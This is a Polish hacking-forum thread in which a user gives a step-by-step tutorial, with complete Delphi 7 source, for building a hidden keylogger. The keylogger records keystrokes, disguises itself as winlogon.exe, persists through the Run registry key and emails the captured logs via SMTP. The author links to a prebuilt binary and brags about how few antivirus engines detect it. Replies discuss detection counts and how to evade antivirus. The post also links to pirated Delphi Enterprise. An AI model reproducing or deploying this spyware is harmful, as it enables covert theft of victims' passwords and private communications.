Łatwy Keylogger w Delphi7

ProQix

Użytkownik
Dołączył
Czerwiec 11, 2008
Posty
86
Łatwy Keylogger w Delphi7
Spis treści:

1.Wsęp
2.Co będzie potrzebne
3.Wklejamy kody
4.Zakończenie





1.
Witam. To mój pierwszy art.
Wiele czytałem artykułów o keylogger’ach, ale nic z tego nie rozumiałem albo nie było linków do komponentów oraz były błędy i niedomówienia. Postanowiłem napisać art. w którym będzie opisane wszystko po koleji. A więc do roboty…




2.
Co będzie potrzebne:

- Delphi 7 (Personal, ale lepiej było by mieć Enterprise) oto link od D7 Ent. :
http://www.eblogs.pl/kmll/Delphi_ent.rar
- By zalegalizować Delphi Ent. postępujcie zgodnie z instrukcjami na:
http://hackme.pl/forum/viewthread.html?for...;thread_id=8996
(to jest na wersje personale ale na ent. też działa)
- komponenty:
KeySpyXP - http://kupa.info/hackme/download/delphi/ko...20i%20progs.rar
Cooltray - http://kupa.info/hackme/download/delphi/ko...20komponent.rar
- Indy 9.0.19 - http://downloads.atozedsoftware.com/indy/indy9.0.19_d7.exe
No i to wszystko.




3.Wklejamy kod.
Na początek na forme wkładamy komponenty:

TMemo (name:memo1) z zakładki Standard
2X TTimer (name:timer1, name:timer2) z zakładki System
TKeySpyXP (name:keyspyxp1) z zakładki System
TCoolTrayIcon (name:CoolTrayIcon1) z zakładki Custom
IdMessage (name:IdMessage1) z zakładki Indy Misc
IdAntiFreeze (name:IdAntiFreeze1) z zakładki Indy Misc
IdSMTP (name;IdSMTP1) z zakładki Indy Clients

Teraz tak, klikamy 2 razy na memo1 później klikamy 2 razy na timer1
i wklejamy kod:

Kod:
IdSMTP1.Host:= 'smtp.wp.pl';
IdSMTP1.Username:= 'użytkownik ';
IdSMTP1.Password:= 'hasło';
IdSMTP1.AuthenticationType:= atLogin;
IdMessage1.Clear;

IdSMTP1.Connect;
IdMessage1.From.Address:= '[email protected]';
IdMessage1.Recipients.EMailAddresses:= '[email protected]';
IdMessage1.Subject:= 'Temat wiadomości(np.:KeyLogger)';
 IdMessage1.Body.Append(memo1.Text);TIdAttachment.Create(IdMessage1.MessageParts, 'C:\logi.txt');
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;

Nie wiem co powiedzieć o tym kawałku, ale najlepiej wysyłać logi i odbierać je na tym samym e-mailu i według mnie najlepiej założyć konto na http://www.wp.pl tak jak to opisałem.
No i jeszcze ta linijka:

Kod:
IdMessage1.Body.Append(memo1.Text);TIdAttachment.Create(IdMessage1.MessageParts, 'C:\logi.txt');

Odpowiada za wysyłanie pliku *.txt z majlem (jako załącznik)


Teraz klikamy 2 razy na timer2 i wklejamy kodzik:

Kod:
var
  INI : TINIFile;
begin
  INI := TINIFile.Create('C:\logi.txt');
  try
    INI.WriteString('Klucz01', 'KEYSPY', memo1.Text);
  finally
    INI.Free;
  end;
end;

Ten kod zapisuje logi na dysku twardym w formacie *.txt ale możemy to zmienić, ale musimy zmienić też ścieżkę do załącznika.

Teraz klikamy 2 razy na komponent KeySpyXp1 i wklejamy kod:

Kod:
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;

Odpowiada to za wypisywanie do memo1 kliknięć przycisków myszy i klawiatury.
Teraz klikamy na CoolTrayIcon1 i w Object Inspektor w zakładce Properties klikamy na:

StartMinimize: False
ShowHint: False
MinimizeToTray: False
IconVisible: False

No to tyle, nasz program jest niewidoczny. Jeszcze powiem że komponent IdAntiFreeze1 odpowiada za to by nasz KeyLogger nie zacinał się, a IdSMTP i IdMessage odpowiadają za wysyłanie wiadomości na pocztę. No i zapomniał bym o najważniejszym, a mianowicie klikamy na Fotm1 i w Object Inspektor w zakładce Events klikamy na zdażenie OnCreate i w miejsce gdzie nas przeniesie wklejamy kod:

Kod:
var
 Rejestr: TRegistry;
begin
  Rejestr:=TRegistry.Create;
  Rejestr.RootKey:=(HKEY_CURRENT_USER);
  Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run\',True);
  Rejestr.WriteString(Nazwa jaka wyświetlać w Menadżerze Zadań np.winlogon', 'C:\folder\nazwa pliku.exe'); // ścieżka do keyloggera

 copyfile(pchar(paramstr(0)),pchar('C:\folder\nazwa.exe'),true);  // odpowiada za kopiowanie keyloggera do folderu

Ten kodzik umożliwia start keyloggera przy starcie systemu ;];];]
No i możecie jeszcze doklejać różne kody by ukryć programik ale pamiętajcie, że wszystko zajmue miejsce.

Teraz możemy kliknąć Shift+Ctrl+F11 i w zakładce application ustawić ikonte (jak zawsze ustawiam ikonkę 16x16 pustą by jak najmniej miejsca zabierał programik).Teraz możemy zapisać sobie keyloggera np.: winlogon. Jeszcze do USES wklejamy to:
Kod:
INIFiles, Registry,
i możemy kliknąć Build All Project.

Wszystko powinno wyglądać mniej więcej tak:

Kod:
unit keyspy;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, CoolTrayIcon, KeySpyXP, ExtCtrls, INIFiles, StdCtrls, Registry, IdSocks,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    memo1: TMemo;
    IdAntiFreeze1: TIdAntiFreeze;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    Timer2: TTimer;
    KeySpyXP1: TKeySpyXP;
    CoolTrayIcon1: TCoolTrayIcon;
    procedure KeySpyXP1Key(Sender: TObject; key: String);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure memo1Change(Sender: TObject);
    procedure IdSMTP1Connected(Sender: TObject);
    procedure IdMessage1InitializeISO(var VTransferHeader: TTransfer;
      var VHeaderEncoding: Char; var VCharSet: String);
    procedure CoolTrayIcon1Click(Sender: TObject);


  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
 Rejestr: TRegistry;
begin
  Rejestr:=TRegistry.Create;
  Rejestr.RootKey:=(HKEY_CURRENT_USER);
  Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run\',True);
  Rejestr.WriteString('winlogon', 'C:\WINDOWS\winlogon.exe');

  copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\winlogon.exe'),true);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
IdSMTP1.Host:= 'smtp.wp.pl';
IdSMTP1.Username:= 'login';
IdSMTP1.Password:= 'hasło';
IdSMTP1.AuthenticationType:= atLogin;
IdMessage1.Clear;

IdSMTP1.Connect;
IdMessage1.From.Address:= '[email protected]';
IdMessage1.Recipients.EMailAddresses:= '[email protected]';
IdMessage1.Subject:= 'KeyLogger';
IdMessage1.Body.Append(memo1.Text);
TIdAttachment.Create(IdMessage1.MessageParts, 'C:\WINDOWS\winogon.txt');
  IdSMTP1.Send(IdMessage1);
   IdSMTP1.Disconnect;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
  INI : TINIFile;
begin
  INI := TINIFile.Create('C:\WINDOWS\winogon.txt');
  try
    INI.WriteString('Klucz01', 'KEYSPY', memo1.Text);
  finally
    INI.Free;
  end;
end;
procedure TForm1.memo1Change(Sender: TObject);
begin

end;

procedure TForm1.IdSMTP1Connected(Sender: TObject);
begin

end;

procedure TForm1.IdMessage1InitializeISO(var VTransferHeader: TTransfer;
  var VHeaderEncoding: Char; var VCharSet: String);
begin

end;

procedure TForm1.CoolTrayIcon1Click(Sender: TObject);
begin

end;
end.

4.Zakończenie
To na 1000% działa, bo sam testowałem.
Gotowiec znajduje się na mojej stronce http://www.ProQix.za.pl wystarczy poszukać ;];];]
A zobaczyć jak niewidoczny jest ten keylogger dla lamera możecie zobaczć tu:
http://www.virustotal.com/pl/analisis/9e34...1c5cd2129852c63
Wszelkie komentarze mile widziane…
 

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Pozatym wykrywalny powyżej 10av. Tzn nie testowałem tego ale:
-Komponent KeySpy = ok. 8AV
-Autostart Rejestr = ok.10AV
-Wysyłanie Email = ok.5AV
 

kanar123

Użytkownik
Dołączył
Marzec 27, 2008
Posty
451
lasek 99 widze że bardzo mało wiesz o programowaniu keyloggerów ja np zrobiłem keyloggerów full a żaden nie był wykrywalny przez nic ( 2 tygodnie)
i wszystko zalezy od nazw procedur funkcji zmiennych itd. a nie jest zalezne czego uzyjesz ważne żeby to zmodyfikowac... heh ...
 
Do góry Bottom